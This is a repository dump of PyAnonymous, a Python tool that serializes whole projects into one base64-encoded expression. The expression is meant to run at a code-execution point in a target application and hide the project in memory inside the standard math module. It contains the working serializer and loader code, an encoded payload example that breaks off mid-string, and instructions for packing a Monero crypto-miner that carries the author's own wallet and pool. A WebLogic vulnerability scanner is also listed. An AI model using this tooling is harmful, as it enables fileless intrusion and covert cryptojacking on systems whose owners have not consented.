├── README.md ├── __pycache__ ├── main.cpython-37.pyc └── test.cpython-37.pyc ├── bugctf.png ├── main.py ├── 使用例子 ├── XMR转换.md ├── XMR转换.py ├── 示例test.md └── 示例test.py ├── 图片 ├── SSH命令执行2.png ├── pic1.png └── pic2.png └── 测试项目 ├── ReadableCryptoMiner ├── .gitignore ├── Cryptonight.py ├── Job.py ├── JsonRpc2Client.py ├── LICENSE ├── Miner.py ├── README.md ├── Utils.py ├── crypto_primitives │ ├── __init__.py │ ├── block_ciphers.py │ ├── hash_functions.py │ └── slow_hash_lgplv3.py ├── defs.py └── ggminer.py ├── test ├── __pycache__ │ ├── test2.cpython-37.pyc │ ├── test3.cpython-37.pyc │ ├── test7.cpython-37.pyc │ ├── test8.cpython-37.pyc │ ├── test_main.cpython-37.pyc │ └── testpure.cpython-37.pyc ├── test12 │ ├── __pycache__ │ │ ├── test4.cpython-37.pyc │ │ └── test6.cpython-37.pyc │ ├── test121 │ │ ├── __pycache__ │ │ │ └── test1211.cpython-37.pyc │ │ └── test1211.py │ ├── test4.py │ └── test6.py ├── test2.py ├── test3.py ├── test34 │ ├── __init__.py │ ├── __pycache__ │ │ ├── __init__.cpython-37.pyc │ │ ├── test341.cpython-37.pyc │ │ └── test342.cpython-37.pyc │ ├── test341.py │ ├── test342.py │ └── test9 │ │ ├── __init__.py │ │ └── __pycache__ │ │ └── __init__.cpython-37.pyc ├── test7.py ├── test8.py ├── test_main.py └── testpure.py └── weblogic-scan-master ├── .gitignore ├── 1.png ├── README.md ├── dict ├── CVE-2018-2628-data.txt ├── CVE-2018-2628-evildata.txt └── weakpass.txt ├── lib ├── __init__.py ├── display.py ├── prepare.py └── vuln.py ├── weblogic-scan.gif └── weblogic_scan.py /README.md: -------------------------------------------------------------------------------- 1 | ### [繁體中文](README_en.md) 2 | 3 |
4 |

PyAnonymous: 基于Python3的无落地项目加载解决方案

5 | 6 | PyAnonymous(Py匿名)是一个基于Python3的无落地内存马加载解决方案,它可以将一个完整的简单Py项目变为一行简单的Py表达式. 7 | 8 | 📕PyAnonymous的原理是:使用反射等手段将用户的Py项目注入到其他计算机的默认的官方库(如: math、socket)中,并在该官方库下预留项目入口,使得用户的Py项目在其他计算机的内存中持久化并方便调用 9 | 10 | 👊PyAnonymous相比于其他项目的优点在于: 11 | 1. PyAnonymous将会自动处理简单的依赖,会将依赖和主文件一起打包至表达式中. 12 | 2. PyAnonymous倡导全程无落地,在加载时无需任何文件落地. 13 | 3. PyAnonymous为项目入口文件提供预留攻击者接口,将入口文件以模块的形式注入进默认math库中,方便攻击者调用 14 | 15 | 在PyAnonymous生成表达式后,当攻击者发现目标Python应用的代码执行点,可以在目标服务代码执行点(如exec、eval)执行该行表达式,将会自动将该项目加载进目标内存并可通过预设的math手动调用 16 | 17 |
18 | 19 | 💡对于绝大部分项目,都可以一键将其转化为Payload. 对于全部应用(Web应用、框架)的代码执行处,都可以一键向内存中写入项目并运行 20 | 21 |
22 | 23 | ### [点这里查看如何将示例项目转换](使用例子/示例test.md) 24 | 25 | ### [点这里查看如何将一个XMR挖矿项目转换](使用例子/XMR转换.md) 26 | 27 | 28 | 🦙这是我自己的一个练手项目,希望师傅们多多包涵. 各位师傅可以提issue反馈问题 29 | 30 | 由leeya_bug开发 31 | 32 | # 安装 33 | 34 | 下载并进入PyAnonymous: 35 | ```vb 36 | git clone https://github.com/Leeyangee/PyAnonymous 37 | cd PyAnonymous 38 | ``` 39 | 40 | # 快速开始 41 | 42 | 1. 以默认命名空间生成test项目的Payload 43 | 44 | 45 | 46 | ```vb 47 | python main.py -e './测试项目/test/test_main.py' 48 | ``` 49 | 50 | 在其他计算机运行Payload后,项目入口文件 test_main.py 作为模块被注入至 math 模块中即: math.test_main,以下代码调用注入到内存的test项目入口中的函数 51 | 52 | ```py 53 | import math 54 | math.test_main.main() 55 | ``` 56 | 57 | 2. 以默认命名空间生成ReadableCryptoMiner项目的Payload 58 | 59 | ```vb 60 | python main.py -e './测试项目/ReadableCryptoMiner/ggminer.py' 61 | ``` 62 | 63 | 在其他计算机运行Payload后,项目入口文件 ggminer.py 作为模块被注入至 math 模块中即: math.ggminer,以下代码调用注入到内存的ReadableCryptoMiner项目入口中的函数 64 | 65 | ```py 66 | import math 67 | math.ggminer.main() 68 | ``` 69 | 70 | 在默认情况下,项目将会被加载至 math.<入口文件名称>中,您可以使用以下代码调用加载至内存中的项目 71 | ```py 72 | import math 73 | math.<入口文件名>.<文件中的函数>() 74 | ``` 75 | 76 | 77 | 78 | ### [点这里查看如何将示例项目转换](使用例子/示例test.md) 79 | 80 | 81 | # 注意事项 82 | 83 | 1. ⚠在您的项目中引入模块时,如果您是手动引入模块(如下列代码所示) 84 | ```py 85 | __import__('test_mod').get() 86 | ``` 87 | 请在该文件前添加格式为#dep <模块名> 的注释使得PyAnonymous在打包时能将该依赖一同打包,如下所示 88 | ```py 89 | #dep test_mod 90 | 91 | __import__('test_mod').get() 92 | ``` 93 | 94 | 2. ❌当前版本暂时不支持相对路径引入(正在努力适配中) 95 | ```py 96 | from .display import dis #不支持相对路径导入,请更改为绝对路径导入 97 | ``` 98 | 99 | 3. ⚠PyAnonymous生成的Payload跨平台 100 | 101 | 4. ⚠一般来说,在test项目中支持的导入方式,正式环境中都完美支持 102 | 103 | # 鸣谢 104 | 105 | 在开发的过程中,少不了以下开源/开放代码的支持 106 | 107 | * 作为测试项目被引入: https://github.com/wkta/ReadableCryptoMiner 108 | 109 | * 作为测试项目被引入: https://github.com/kingkaki/weblogic-scan 110 | 111 |
-------------------------------------------------------------------------------- /__pycache__/main.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/__pycache__/main.cpython-37.pyc -------------------------------------------------------------------------------- /__pycache__/test.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/__pycache__/test.cpython-37.pyc -------------------------------------------------------------------------------- /bugctf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/bugctf.png -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | #by leeya_bug 2 | 3 | DEP_SIGN = '#dep ' 4 | 5 | import os 6 | import sys 7 | import base64 8 | from typing import Tuple 9 | from typing import List 10 | from typing import Dict 11 | import types 12 | import importlib 13 | from pathlib import Path 14 | import re 15 | import argparse 16 | import chardet 17 | import imp 18 | 19 | class logger: 20 | 21 | class PrintDep(object): 22 | ''' 23 | 打印日志并在with 的代码块中依赖缩进 24 | ''' 25 | def __init__(self, text: str) -> None: 26 | global prev 27 | print(prev + text) 28 | 29 | def __enter__(self) -> None: 30 | global prev 31 | prev += ' ' 32 | 33 | def __exit__(self, exc_type, exc_val, exc_tb) -> None: 34 | global prev 35 | prev = prev[2:] 36 | 37 | prev = '' 38 | 39 | class Serialize(object): 40 | 41 | class EnvAdd(object): 42 | ''' 43 | 添加依赖的环境变量路径,必须以with EnvAdd(path)调用 44 | ''' 45 | def __init__(self, path: str) -> None: 46 | self.path = path 47 | 48 | def __enter__(self) -> None: 49 | sys.path = [self.path] + sys.path 50 | 51 | def __exit__(self, exc_type, exc_val, exc_tb) -> None: 52 | sys.path = sys.path[1:] 53 | 54 | def depMerge(self, main: dict, branch: dict) -> None: 55 | ''' 56 | 依赖链合并,将分支依赖链 branch 合并进主依赖链 main 中 57 | ''' 58 | if branch == {}: 59 | return 60 | for branch_key in branch.keys(): 61 | if branch_key in main: 62 | self.depMerge(main[branch_key][1], branch[branch_key][1]) 63 | else: 64 | main[branch_key] = branch[branch_key] 65 | 66 | class DirSerialize(Serialize): 67 | 68 | def __init__(self, path: str, import1: list = []) -> None: 69 | # 'self.dirname' 保存当前模块所在位置 70 | self.path: str = path 71 | self.depChain = dict() 72 | self.__init__Code_List: List[str] = [''] 73 | self.import1: list = import1 74 | 75 | self.depMerge(self.depChain, self.analyzeMultiDependence(path)) 76 | 77 | def analyzeMultiDependence(self, path): 78 | ''' 79 | 查找path目录下的module,并将module加载到该namespace中 80 | ''' 81 | depChain = dict() 82 | if True: 83 | for file in os.listdir(path): 84 | file: str 85 | if True: 86 | if file.endswith('.py'): 87 | pkg_name: str = path_to_pkgname(file) 88 | else: 89 | pkg_name: str = file 90 | #是 from ... import ... 引入的包或者包名为 __init__ 时 91 | if pkg_name in self.import1 or pkg_name == '__init__' or self.import1 == '*': 92 | #with logger.PrintDep(f'正在分析namespace中包: ' + pkg_name): 93 | 94 | fp, pathname, desc = imp.find_module(pkg_name, [path]) 95 | curDependence = imp.load_module(pkg_name, fp, pathname, desc) 96 | if False: 97 | with self.EnvAdd(path): 98 | curDependence: types.ModuleType = importlib.import_module(pkg_name) 99 | #print(sys.path) 100 | #print(curDependence.__file__) 101 | if hasattr(curDependence, '__file__'): 102 | #若该依赖为namespace 103 | if hasattr(curDependence, '__path__'): 104 | with logger.PrintDep(f'包: {pkg_name} 为namespace'): 105 | depChain[pkg_name] = DirSerialize(list(curDependence.__path__)[0]).getRes() 106 | #若该依赖为module 107 | else: 108 | with logger.PrintDep(f'包: {pkg_name} 为module'): 109 | if pkg_name == '__init__': 110 | res1 = DocSerialize(curDependence.__file__).getRes() 111 | self.__init__Code_List = res1[0] 112 | self.depMerge(depChain, res1[1]) 113 | else: 114 | depChain[pkg_name] = DocSerialize(curDependence.__file__ ).getRes() 115 | return depChain 116 | 117 | def getRes(self) -> list: 118 | ''' 119 | 最后返回一个经编码序列化后的依赖链 120 | 121 | 一个依赖链包含以下两个部分: module源代码 module的依赖 122 | ''' 123 | return [ self.__init__Code_List, self.depChain ] 124 | 125 | 126 | class DocSerialize(Serialize): 127 | 128 | class DocClass(object): 129 | ''' 130 | 文件处理类 131 | ''' 132 | def __init__(self, path: str) -> None: 133 | self.path: str = path 134 | self.fromImport: Dict[str, List[str]] = {} 135 | 136 | self.analyzeDependence(self.path) 137 | self.analyzeCode(self.path) 138 | 139 | def addFromImport(self, from1: str, import1: str) -> None: 140 | if from1 not in self.fromImport: 141 | self.fromImport[from1] = [] 142 | self.fromImport[from1].append(import1) 143 | 144 | def getFromImport(self, from1: str) -> list: 145 | if from1 not in self.fromImport: 146 | self.fromImport[from1] = [] 147 | return self.fromImport[from1] 148 | 149 | def analyzeDependence(self, path: str) -> None: 150 | ''' 151 | 静态分析路径path的py文件包含哪些依赖 152 | ''' 153 | if os.path.exists(path) and os.path.isfile(path): 154 | dependence = set() 155 | with open(path, 'r', encoding='utf-8') as f: 156 | lines: list = f.readlines() 157 | for line in lines: 158 | line: str 159 | line = line.strip('\n') 160 | #分析手动添加的 #dep 依赖 161 | if line.startswith(DEP_SIGN): 162 | result = line.split(DEP_SIGN)[1].strip(' ') 163 | dependence.add(result) 164 | 165 | line = line.split('#')[0] 166 | #分析 import *** 的依赖 167 | if line.startswith('import '): 168 | #分析有as情况 169 | if ' as ' in line: 170 | result = line.split('import ')[1].split(' as ')[0].strip(' ') 171 | #分析无as情况 172 | else: 173 | result = line.split('import ')[1].strip(' ') 174 | 175 | #逗号多个引入的情况 176 | if ',' in result: 177 | dependence |= { res.strip(' ') for res in result.split(',') } 178 | else: 179 | dependence.add(result) 180 | #分析 from *** import *** 的依赖 181 | if line.startswith('from '): 182 | #分析有as情况 183 | if ' as ' in line: 184 | from1: str = line.split('from ')[1].split(' import ')[0].strip(' ') 185 | import1: str = line.split('import ')[1].split(' as ')[0].strip(' ') 186 | #分析无as情况 187 | else: 188 | from1: str = line.split('from ')[1].split(' import ')[0].strip(' ') 189 | import1: str = line.split('import ')[1].strip(' ') 190 | 191 | #逗号多个引入的情况 192 | if import1 == '*': 193 | self.addFromImport(from1, '*') 194 | elif ',' in import1: 195 | for i1 in import1.split(','): self.addFromImport(from1, i1.strip(' ')) 196 | else: 197 | self.addFromImport(from1, import1) 198 | dependence.add(from1) 199 | self.dependence: set = dependence 200 | else: 201 | raise NameError(f'{path} 该文件不存在,无法读取其依赖') 202 | 203 | def analyzeCode(self, path: str) -> None: 204 | ''' 205 | 读取路径path的code,并将其base64编码 206 | ''' 207 | if os.path.exists(path) and os.path.isfile(path): 208 | with open(path, 'r', encoding='utf-8') as f: 209 | code = f.read() 210 | code_base64ed = base64.b64encode(code.encode()).decode() 211 | self.code = code 212 | self.code_base64ed = code_base64ed 213 | else: 214 | raise NameError(f'{path} 该文件不存在,无法读取代码内容') 215 | 216 | def getDependence(self) -> Tuple[set, Dict[str, List[str]]]: 217 | return self.dependence, self.fromImport 218 | 219 | def getCode(self) -> Tuple[str, str]: 220 | return self.code, self.code_base64ed 221 | 222 | def __init__(self, path: str) -> None: 223 | self.doc = self.DocClass(path) 224 | # 'self.dirname' 保存当前模块所在位置 225 | self.dirname = os.path.dirname(path) 226 | self.depChain: Dict[str, list] = dict() 227 | 228 | def depList(dep: str) -> list: 229 | ''' 230 | 将多个依赖分割成列表 231 | ''' 232 | return dep.strip('.').split('.') 233 | 234 | dependence, fromimport = self.doc.getDependence() 235 | self.fromimport: Dict[str, List[str]] = fromimport 236 | 237 | for dep in dependence: 238 | depChainBranch = self.analyzeMultiDependence(dependence = dep) 239 | self.depMerge(self.depChain, depChainBranch) 240 | 241 | def analyzeMultiDependence(self, dependence: str) -> dict: 242 | ''' 243 | 分析多重依赖的函数 244 | ''' 245 | pkg_name: str = dependence 246 | 247 | #with self.EnvAdd(self.dirname): 248 | if True: 249 | try: 250 | curDependence: types.ModuleType = importlib.import_module(pkg_name) 251 | except: 252 | raise NameError(f'包: {pkg_name} 引入失败,请检查其是否存在或其子依赖是否存在') 253 | 254 | #若该依赖包含__file__ 255 | if hasattr(curDependence, '__file__'): 256 | dep_location = curDependence.__file__ if curDependence.__file__ != None else list(curDependence.__path__)[0] 257 | dad = Path(entry_path) 258 | son = Path(dep_location) 259 | #若该依赖在项目路径下,则非 官方依赖 260 | if dad in son.parents: 261 | #若该依赖为namespace, 下列步骤将namespace解释为module. 有__path__变量必为namespace 262 | if hasattr(curDependence, '__path__'): 263 | with logger.PrintDep(f'包: {pkg_name} 为namespace'): 264 | if pkg_name in self.fromimport: 265 | return { 266 | pkg_name: DirSerialize(list(curDependence.__path__)[0], self.fromimport[pkg_name]).getRes() 267 | } 268 | else: 269 | return { 270 | pkg_name: DirSerialize(list(curDependence.__path__)[0], []).getRes() 271 | } 272 | #若该依赖为module 273 | else: 274 | with logger.PrintDep(f'包: {pkg_name} 为module'): 275 | return { 276 | pkg_name: DocSerialize(curDependence.__file__).getRes() 277 | } 278 | #若该依赖不在项目路径下,无关库或官方依赖不处理 279 | else: 280 | logger.PrintDep(f'包: {pkg_name} 为官方库或无关库不处理') 281 | return {} 282 | #若该依赖不包含__file__,官方依赖 283 | else: 284 | logger.PrintDep(f'包: {pkg_name} 为官方库不处理') 285 | return {} 286 | 287 | def getRes(self) -> list: 288 | ''' 289 | 最后返回一个经编码序列化后的依赖链 290 | 291 | 一个依赖链包含以下两个部分: module源代码 module的依赖 292 | ''' 293 | return [ [self.doc.getCode()[1]], self.depChain ] 294 | 295 | class Payload(object): 296 | 297 | loaderList: list = [(''' 298 | def surface_ZzRTSoDE(m, n): 299 | def deep_ZzRTSoDE(mn, c, d): 300 | a=__import__('imp').new_module(mn) 301 | while True: 302 | try: 303 | d_i = list(d.keys()) 304 | #将keys列表随机排列,完美解决交叉依赖时出现错误的问题 305 | __import__('random').shuffle(d_i) 306 | for d1 in d_i: 307 | a.__dict__[d1] = deep_ZzRTSoDE(d1, d[d1][0], d[d1][1]) 308 | __import__('sys').modules[d1] = a.__dict__[d1] 309 | for c1 in c: 310 | exec(__import__('base64').b64decode(c1), a.__dict__) 311 | return a 312 | except: 313 | print('引入出现顺序错误,正在打乱重新引入') 314 | for i in m:n[i]=deep_ZzRTSoDE(i, m[i][0], m[i][1]) 315 | ''', 'surface_ZzRTSoDE')#普通加载器 316 | ] 317 | 318 | initerList: list = [ 319 | '''str(exec(__import__('base64').b64decode('{loader_base64}').decode()))+str({loader_entry}(eval(__import__('base64').b64decode('{depChain}').decode()), {namespace}))''' 320 | ] 321 | 322 | def __init__(self, depChain: dict, namespace: str, loader: int = 0, initer: int = 0) -> None: 323 | self.depChain = depChain 324 | self.namespace = f'__import__(\'{namespace}\').__dict__' 325 | 326 | self.initer = initer 327 | self.loader = loader 328 | 329 | def getIniter(self) -> str: 330 | ''' 331 | 初始化器能够将加载器、依赖链加载到内存中,并启动加载器 332 | ''' 333 | return self.initerList[self.initer] 334 | 335 | def getLoader(self) -> Tuple[str, str]: 336 | ''' 337 | 加载器能够将 编码序列化后的依赖链 转换为 module实例 338 | ''' 339 | return (base64.b64encode(self.loaderList[self.loader][0].encode()).decode(), self.loaderList[self.loader][1]) 340 | 341 | def getdepChain(self) -> str: 342 | ''' 343 | 依赖链根据DocSerialize类转换而来,依赖链能被 加载器加载 后转换为 module实例 344 | ''' 345 | return base64.b64encode(str(self.depChain).encode()).decode() 346 | 347 | def getRes(self) -> str: 348 | loader_base64, loader_entry = self.getLoader() 349 | return self.getIniter().format(loader_base64 = loader_base64, loader_entry = loader_entry, depChain = self.getdepChain(), namespace = self.namespace) 350 | 351 | def path_to_pkgname(path: str) -> str: 352 | ''' 353 | 路径提取模块名称 354 | ''' 355 | return os.path.splitext(os.path.basename(path))[0] 356 | 357 | if __name__ == '__main__': 358 | parser = argparse.ArgumentParser( 359 | description="PyAnonymous(Py匿名)是一个基于Python3的无落地加载解决方案,它可以将一个完整的简单Py项目变为一行简单的Py表达式" 360 | ) 361 | parser.add_argument("-e", "--entry", default=None, help="要加载的项目入口(默认为自带测试项目)") 362 | parser.add_argument("-n", "--namespace", default='math', help="要将项目入口加载到的命名空间(默认为 math,在不知道这是啥的情况下请勿乱更改)") 363 | parser.add_argument("-s", "--start" , action='store_true', default=False, help='是否试运行') 364 | 365 | options = parser.parse_args(sys.argv[1:]) 366 | 367 | entry = options.entry 368 | namespace = options.namespace 369 | start = options.start 370 | 371 | if entry == None: 372 | print(''' 373 | 警告: 您未选择要序列化的项目 374 | 375 | PyAnonymous(Py匿名)是一个基于Python3的无落地加载解决方案,它可以将一个完整的简单Py项目变为一行简单的Py表达式 376 | 更多帮助,请查看项目地址: https://github.com/Leeyangee/PyAnonymous 377 | 可选参数: 378 | 379 | -h, --help 380 | 展示帮助界面 381 | -e ENTRY, --entry ENTRY 382 | 要加载的项目入口 383 | -n NAMESPACE, --namespace NAMESPACE 384 | 要将项目入口加载到的命名空间(默认为 math,在不知道这是啥的情况下请勿乱更改) 385 | -s, --start 386 | 是否试运行''') 387 | else: 388 | entry_name = path_to_pkgname(entry) 389 | 390 | entry_path = os.path.dirname(entry) 391 | sys.path.append(entry_path) 392 | 393 | print(f'---------------------依赖分析---------------------') 394 | depChain = DocSerialize(entry) 395 | print(depChain.getRes()) 396 | depChain = { entry_name: depChain.getRes() } 397 | print(f'---------------------生成的Payload---------------------') 398 | payload = Payload(depChain = depChain, namespace = namespace) 399 | result = payload.getRes() 400 | print(result) 401 | print(f'---------------------调用命令---------------------') 402 | print(f'''import {namespace} 403 | {namespace}.{entry_name}''') 404 | if start: 405 | print(f'---------------------试运行结果---------------------') 406 | exec(result) 407 | exec(f''' 408 | import {namespace} 409 | {namespace}.{entry_name}.main() 410 | ''') 411 | -------------------------------------------------------------------------------- /使用例子/XMR转换.md: -------------------------------------------------------------------------------- 1 | 2 | 接下来的示例,会将一个XMR挖矿项目转换为一行表达式代码,并在计算机上运行该一行表达式代码 3 | 4 | 1. 以PyAnonymous根目录下 "./测试项目/ReadableCryptoMiner" 的挖矿项目为例,以下简称为ReadableCryptoMiner 5 | 6 | 该项目的入口点为 "./测试项目/ReadableCryptoMiner/ggminer.py" 7 | 8 | 入口点的入口函数为 main 9 | 10 | 2. 输入以下指令将会启动对ReadableCryptoMiner的打包过程 11 | 12 | ```vb 13 | python .\main.py -e "./测试项目/ReadableCryptoMiner/ggminer.py" 14 | ``` 15 | 16 | 输出的一行表达式代码连同调用方法,笔者已经放于 XMR转换.py 中. 供各位学习研究 17 | 18 | 笔者写入的矿池、XMR地址均为笔者本人的地址,有需要的读者可以修改 ggminer.py 第42行 ~ 第44行的参数设置 -------------------------------------------------------------------------------- /使用例子/示例test.md: -------------------------------------------------------------------------------- 1 | 2 | 接下来的示例,将会展示如何将一个Python项目转换为一行表达式代码,然后会在一台计算机上使用该一行表达式代码将入口点加载到命名空中并且手动执行 3 | 4 | 1. 测试项目位置(以下简称test项目): "./测试项目/test" 5 | 6 | 该项目的入口点为 "./测试项目/test/test_main.py" 7 | 8 | 入口点的入口函数为 main 9 | 10 | 该项目结构如下所示 11 | 12 | ``` 13 | test 14 | test12 15 | test121 16 | test1211.py 17 | test4.py 18 | test6.py 19 | test34 20 | test9 21 | __init__.py 22 | __init__.py 23 | test341.py 24 | test342.py 25 | test_main.py 26 | test2.py 27 | test3.py 28 | test7.py 29 | test8.py 30 | testpure.py 31 | ``` 32 | 33 | 2. 接下来的步骤将test项目打包为一行表达式代码. 34 | 35 | 首先我们了解一下main.py的参数设置: 36 | -e --entry 项目入口位置,默认为 "./测试项目/test/test_main.py" 37 | -n --namespace 项目入口加载到的命名空间,默认为 math 38 | 39 | 进入PyAnonymous项目根目录,**-e参数的值为项目入口点**,输入以下指令将会启动对test项目的打包过程 40 | 41 | ```vb 42 | python main.py -e "./测试项目/test/test_main.py" 43 | ``` 44 | 45 | 接下来,程序在打包时将会出现如下依赖提示 46 | 47 | ``` 48 | 包: test2 为module 49 | 包: test3 为module 50 | 包: os 为官方库不处理 51 | 包: test12 为namespace 52 | 正在分析namespace中包: test4 53 | 正在分析namespace中包: test6 54 | 包: test7 为module 55 | 包: math 为官方库不处理 56 | 包: test12 为namespace 57 | 正在分析namespace中包: test4 58 | 正在分析namespace中包: test6 59 | 包: test8 为module 60 | 包: test12 为namespace 61 | 正在分析namespace中包: test4 62 | 正在分析namespace中包: test6 63 | ``` 64 | 65 | 最后,将会输出这样一行表达式代码,这是最终Payload. 到此,表示 test项目 打包成功,整个项目成功被打包成了一行表达式代码 66 | 67 | ```py 68 | str(exec(__import__('base64').b64decode('CmRlZiBzdXJmYWNlX1p6UlRTb0RFKG0sIG4pOgogICAgZGVmIGRlZXBfWnpSVFNvREUobW4sIGMsIGQpOgogICAgICAgIGE9X19pbXBvcnRfXygnaW1wJykubmV3X21vZHVsZShtbikKICAgICAgICBmb3IgZDEgaW4gZDoKICAgICAgICAgICAgYS5fX2RpY3RfX1tkMV09ZGVlcF9aelJUU29ERShkMSwgZFtkMV1bMF0sIGRbZDFdWzFdKQogICAgICAgICAgICBfX2ltcG9ydF9fKCdzeXMnKS5tb2R1bGVzW2QxXSA9IGEuX19kaWN0X19bZDFdCiAgICAgICAgZXhlYyhfX2ltcG9ydF9fKCdiYXNlNjQnKS5iNjRkZWNvZGUoYyksIGEuX19kaWN0X18pCiAgICAgICAgcmV0dXJuIGEKICAgIGZvciBpIGluIG06bltpXT1kZWVwX1p6UlRTb0RFKGksIG1baV1bMF0sIG1baV1bMV0pCg==').decode()))+str(surface_ZzRTSoDE(eval(__import__('base64').b64decode('eyd0ZXN0X21haW4nOiBbJ0NtbHRjRzl5ZENCMFpYTjBNZ29LWkdWbUlHMWhhVzRvS1RvS0lDQWdJSEpsZEhWeWJpQjBaWE4wTWk1MFpYTjBNaWdwSUNzZ01Rb0tjSEpwYm5Rb2JXRnBiaWdwS1E9PScsIHsndGVzdDInOiBbJ0kyUmxjQ0IwWlhOME13b0tabkp2YlNCMFpYTjBNVElnYVcxd2IzSjBJSFJsYzNRMkNtWnliMjBnZEdWemRERXlJR2x0Y0c5eWRDQjBaWE4wTkFvS1pHVm1JSFJsYzNReUtDazZDaUFnSUNCeVpYUjFjbTRnWDE5cGJYQnZjblJmWHlnbmRHVnpkRE1uS1M1MFpYTjBNeWdwSUNzZ1gxOXBiWEJ2Y25SZlh5Z25kR1Z6ZERNbktTNTJZWElnS3lCMFpYTjBOaTUwWlhOME5pZ3lLU0FnS3lCMFpYTjBOQzUwWlhOME5DZ3AnLCB7J3Rlc3QzJzogWydDbVp5YjIwZ2RHVnpkRGNnYVcxd2IzSjBJSFJsYzNRM1gyTnNZWE56Q21sdGNHOXlkQ0J2Y3dwbWNtOXRJSFJsYzNReE1pQnBiWEJ2Y25RZ2RHVnpkRFlLQ25aaGNpQTlJRElLQ21SbFppQjBaWE4wTXlncE9nb2dJQ0FnWWlBOUlIUmxjM1EzWDJOc1lYTnpLREVwQ2lBZ0lDQnlaWFIxY200Z01TQXJJR0l1WjJWMFVtVnpLQ2tnS3lCMFpYTjBOaTUwWlhOME5pZ3lLUT09Jywgeyd0ZXN0MTInOiBbJycsIHsndGVzdDQnOiBbJ0NtUmxaaUIwWlhOME5DZ3BPZ29nSUNBZ2NtVjBkWEp1SURRPScsIHt9XSwgJ3Rlc3Q2JzogWydDbVJsWmlCMFpYTjBOaWgyWVhJeEtUb0tJQ0FnSUhKbGRIVnliaUF4TUNBcUlIWmhjakU9Jywge31dfV0sICd0ZXN0Nyc6IFsnQ21sdGNHOXlkQ0J0WVhSb0NtbHRjRzl5ZENCMFpYTjBPQXBtY205dElIUmxjM1F4TWlCcGJYQnZjblFnZEdWemREUUtDbU5zWVhOeklIUmxjM1EzWDJOc1lYTnpLQ2s2Q2lBZ0lDQmtaV1lnWDE5cGJtbDBYMThvYzJWc1ppd2dZU2s2Q2lBZ0lDQWdJQ0FnYzJWc1ppNWhJRDBnWVFvS0lDQWdJR1JsWmlCblpYUlNaWE1vYzJWc1ppazZDaUFnSUNBZ0lDQWdjbVYwZFhKdUlITmxiR1l1WVNBcUlESWdLeUIwWlhOME9DNTBaWE4wT0NncElDc2dkR1Z6ZERRdWRHVnpkRFFvS1E9PScsIHsndGVzdDEyJzogWycnLCB7J3Rlc3Q0JzogWydDbVJsWmlCMFpYTjBOQ2dwT2dvZ0lDQWdjbVYwZFhKdUlEUT0nLCB7fV0sICd0ZXN0Nic6IFsnQ21SbFppQjBaWE4wTmloMllYSXhLVG9LSUNBZ0lISmxkSFZ5YmlBeE1DQXFJSFpoY2pFPScsIHt9XX1dLCAndGVzdDgnOiBbJ0NtUmxaaUIwWlhOME9DZ3BPZ29nSUNBZ2NtVjBkWEp1SURJdycsIHt9XX1dfV0sICd0ZXN0MTInOiBbJycsIHsndGVzdDQnOiBbJ0NtUmxaaUIwWlhOME5DZ3BPZ29nSUNBZ2NtVjBkWEp1SURRPScsIHt9XSwgJ3Rlc3Q2JzogWydDbVJsWmlCMFpYTjBOaWgyWVhJeEtUb0tJQ0FnSUhKbGRIVnliaUF4TUNBcUlIWmhjakU9Jywge31dfV19XX1dfQ==').decode()), __import__("math").__dict__)) 69 | ``` 70 | 71 | 72 | 73 | 3. 在任意一台计算机上的任意一个能任意解析Py代码处(如python交互式shell、exec、eval等)输入最终Payload,该代码将会自动将test项目的入口test_main加载到默认命名空间 math 中 74 | 75 | ```py 76 | PS C:\> python 77 | Python 3.7.9 78 | >>> str(exec(__import__('base64').b64decode('CmRlZiBzdXJmYWNlX1p6UlRTb0RFKG0sIG4pOgogICAgZGVmIGRlZXBfWnpSVFNvREUobW4sIGMsIGQpOgogICAgICAgIGE9X19pbXBvcnRfXygnaW1wJykubmV3X21vZHVsZShtbikKICAgICAgICBmb3IgZDEgaW4gZDoKICAgICAgICAgICAgYS5fX2RpY3RfX1tkMV09ZGVlcF9aelJUU29ERShkMSwgZFtkMV1bMF0sIGRbZDFdWzFdKQogICAgICAgICAgICBfX2ltcG9ydF9fKCdzeXMnKS5tb2R1bGVzW2QxXSA9IGEuX19kaWN0X19bZDFdCiAgICAgICAgZXhlYyhfX2ltcG9ydF9fKCdiYXNlNjQnKS5iNjRkZWNvZGUoYyksIGEuX19kaWN0X18pCiAgICAgICAgcmV0dXJuIGEKICAgIGZvciBpIGluIG06bltpXT1kZWVwX1p6UlRTb0RFKGksIG1baV1bMF0sIG1baV1bMV0pCg==').decode()))+str(surface_ZzRTSoDE(eval(__import__('base64').b64decode('eyd0ZXN0X21haW4nOiBbJ0NtbHRjRzl5ZENCMFpYTjBNZ29LWkdWbUlHMWhhVzRvS1RvS0lDQWdJSEpsZEhWeWJpQjBaWE4wTWk1MFpYTjBNaWdwSUNzZ01Rb0tjSEpwYm5Rb2JXRnBiaWdwS1E9PScsIHsndGVzdDInOiBbJ0kyUmxjQ0IwWlhOME13b0tabkp2YlNCMFpYTjBNVElnYVcxd2IzSjBJSFJsYzNRMkNtWnliMjBnZEdWemRERXlJR2x0Y0c5eWRDQjBaWE4wTkFvS1pHVm1JSFJsYzNReUtDazZDaUFnSUNCeVpYUjFjbTRnWDE5cGJYQnZjblJmWHlnbmRHVnpkRE1uS1M1MFpYTjBNeWdwSUNzZ1gxOXBiWEJ2Y25SZlh5Z25kR1Z6ZERNbktTNTJZWElnS3lCMFpYTjBOaTUwWlhOME5pZ3lLU0FnS3lCMFpYTjBOQzUwWlhOME5DZ3AnLCB7J3Rlc3QzJzogWydDbVp5YjIwZ2RHVnpkRGNnYVcxd2IzSjBJSFJsYzNRM1gyTnNZWE56Q21sdGNHOXlkQ0J2Y3dwbWNtOXRJSFJsYzNReE1pQnBiWEJ2Y25RZ2RHVnpkRFlLQ25aaGNpQTlJRElLQ21SbFppQjBaWE4wTXlncE9nb2dJQ0FnWWlBOUlIUmxjM1EzWDJOc1lYTnpLREVwQ2lBZ0lDQnlaWFIxY200Z01TQXJJR0l1WjJWMFVtVnpLQ2tnS3lCMFpYTjBOaTUwWlhOME5pZ3lLUT09Jywgeyd0ZXN0MTInOiBbJycsIHsndGVzdDQnOiB